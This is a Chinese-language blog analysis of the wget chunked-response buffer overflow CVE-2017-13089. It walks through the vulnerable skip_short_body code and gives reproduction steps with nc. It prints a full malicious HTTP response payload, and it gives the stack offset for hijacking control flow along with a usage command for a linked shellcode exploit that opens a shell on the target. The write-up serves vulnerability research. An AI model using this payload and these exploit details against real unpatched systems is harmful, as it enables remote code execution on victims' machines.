wget 缓冲区溢出漏洞分析(CVE-2017-13089)

作者:k2yk
日期:2017/11/13
最后更新日期:2017/11/15

0x00 前情提要

在 2017 年 11 月 12 日 NVD公布了关于 wget 的多个漏洞的情报,这里做一个wget缓冲区溢出漏洞的分析。在 wget 版本小于1.19.2 的情况下,wget 在处理重定向时,会调用 http.c:skip_short_body()函数, 解析器在解析块时会使用strtol() 函数读取每个块的长度,但不检查块长度是否为非负数。解析器试图通过使用MIN()函数跳过块的前512个字节,最终传递参数到connect.c:fd_read()中。由于fd_read()仅会接受一个int参数,在攻击者试图放入一个负参数时,块长度的高32位被丢弃,使攻击者可以控制fd_read()中的长度参数,产生整形缓冲区溢出漏洞。

影响范围

影响版本为:wget <=1.19.1 影响系统范围如下:

Ubuntu Ubuntu Linux 17.10  
Ubuntu Ubuntu Linux 17.04  
Ubuntu Ubuntu Linux 16.04 LTS  
Ubuntu Ubuntu Linux 14.04 LTS  
Redhat Virtualization Host 4  
Redhat Enterprise Linux Workstation 7  
Redhat Enterprise Linux Server for ARM 7  
Redhat Enterprise Linux Server - TUS 7.4  
Redhat Enterprise Linux Server - Extended Update Support 7.4  
Redhat Enterprise Linux Server - AUS 7.4  
Redhat Enterprise Linux Server - 4 Year Extended Update Support 7.4  
Redhat Enterprise Linux Server (for IBM Power LE) - 4 Year Extended Update Support 7.4  
Redhat Enterprise Linux for Scientific Computing 7  
Redhat Enterprise Linux for Power, little endian - Extended Update Supp 7.4  
Redhat Enterprise Linux for Power, little endian 7  
Redhat Enterprise Linux for Power, big endian - Extended Update Support 7.4  
Redhat Enterprise Linux for Power, big endian 7  
Redhat Enterprise Linux for IBM z Systems - Extended Update Support 7.4  
Redhat Enterprise Linux for IBM z Systems 7  
Redhat Enterprise Linux EUS Compute Node 7.4  
Redhat Enterprise Linux Desktop 7  
Redhat Enterprise Linux 7  
GNU wget 0  

在实际测试过程中,这个漏洞会因为某些系统修改过wget而导致无法复现。


0x01 漏洞分析

环境复现

现在本地搭建一个漏洞复现环境,漏洞复现过程这里推荐两个方案,一个是漏洞发现作者在git 上进行发布的dockerfile ,另外一个是自己进行编译的版本。 * CVE-2017-13089 的git 环境地址 https://github.com/r1b/CVE-2017-13089 * 使用方法

# Build the container
docker build -t cve201713089 .  
# OR ...
docker pull robertcolejensen/cve201713089

# Play around in the container, `src` will be mounted at `/opt/CVE-2017-13089/src`
./run.sh

# Run the included DoS PoC
./run.sh dos

# Run the included exploit PoC (wip)
./run.sh exploit
  • 其次就是通过自己编译进行复现
 # 获取wget
 wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz

 # 解压
 tar zxvf wget-1.19.1.tar.gz

 #进入目录
 cd wget-1.19.1

 #编译
 ./configure
 make 

 cd src 

 验证
 nc -lp 6666 < payload & ./wget localhost:6666

下方为payload 文件:

HTTP/1.1 401 Not Authorized  
Content-Type: text/plain; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive

-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
0  
漏洞复现

下图为复现过程

fuxian1

分析

利用分析工具以及payload的相关特性, ss

我们根据分析工具的分析结果,除却引发漏洞的异常抛出外,我们发现了一个特别的函数skip_short_body

static bool skip_short_body (int fd, wgint contlen, bool chunked)  
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD)
    return false;

  while (contlen > 0 || chunked)
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
      if (ret <= 0)
        {
          /* Don't normally report the error since this is an
             optimization that should be invisible to the user.  */
          DEBUGP (("] aborting (%s).\n",
                   ret < 0 ? fd_errstr (fd) : "EOF received"));
          return false;
        }
      contlen -= ret;

      if (chunked)
        {
          remaining_chunk_size -= ret;
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              if (line == NULL)
                return false;
              else
                xfree (line);
            }
        }

      /* Safe even if %.*s bogusly expects terminating \0 because
         we've zero-terminated dlbuf above.  */
      DEBUGP (("%.*s", ret, dlbuf));
    }

  DEBUGP (("] done.\n"));
  return true;
}

根据这段代码逻辑,我们可以简单的理出一个简单的代码逻辑。 wget 在检测 short_body 的时候 先要检测出传输的块的大小,假若传入的块的大小的值不大于 4096 则进入进入这个漏洞的受害逻辑内。

if (contlen > SKIP_THRESHOLD)  
return false;

while (contlen > 0 || chunked)  
{
  int ret;
  if (chunked)
    {
      if (remaining_chunk_size == 0)
        {
          char *line = fd_read_line (fd);
          char *endl;
          if (line == NULL)
            break;

          remaining_chunk_size = strtol (line, &endl, 16);
          xfree (line);

          if (remaining_chunk_size == 0)
            {
              line = fd_read_line (fd);
              xfree (line);
              break;
            }
        }

  contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);  

从这段代码中分析出,contlen = MIN (remaining_chunk_size, SKIP_SIZE); 只需小于512时,contlen 可控,综合上述代码逻辑,可以得出remaining_chunk_size 位负值时,contlen为可控向量。在后面的代码逻辑中,fd_read() 使用了该受控制的向量,引发了缓冲区溢出漏洞。

int  
fd_read (int fd, char *buf, int bufsize, double timeout)  
{
  struct transport_info *info;
  LAZY_RETRIEVE_INFO (info);
  if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
    return -1;
  if (info && info->imp->reader)
    return info->imp->reader (fd, buf, bufsize, info->ctx);
  else
    return sock_read (fd, buf, bufsize);
}

我们可以看到在利用GDB进行调试的情况下,成功控制了利用溢出成功劫持了下一步执行的地址。
crack
进入栈执行

instack
利用成功演示

pwn

EXP 构造

EXP的构造主要有2个要点:
* 第一 栈的定位 * 第二 偏移量

偏移量这个点,根据写入栈的地址以及控制返回的栈地址我们可以得出,能够控制 RBP 的地址在写入栈的地址后的568位。因此,我们在构造EXP时,将即将控制栈的地址在shellcode 的568位后写入,即可实现对指针的控制。


0x02 POC

ShellCode生成脚本:
https://github.com/mzeyong/CVE-2017-13089

使用方式:
python shellcode.py & nc -lp 80 < payload

该 ShellCode会在目标机器开启一个新的 shell,无其他危害,仅为演示证明漏洞存在。如果有小伙伴对通用型exp构造有兴趣可以一起交流!!!

0x03 Reference

ORZ...忘记添加references了
* https://xorl.wordpress.com/2017/11/11/cve-2017-13089-wget-http-integer-overflow/ * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13089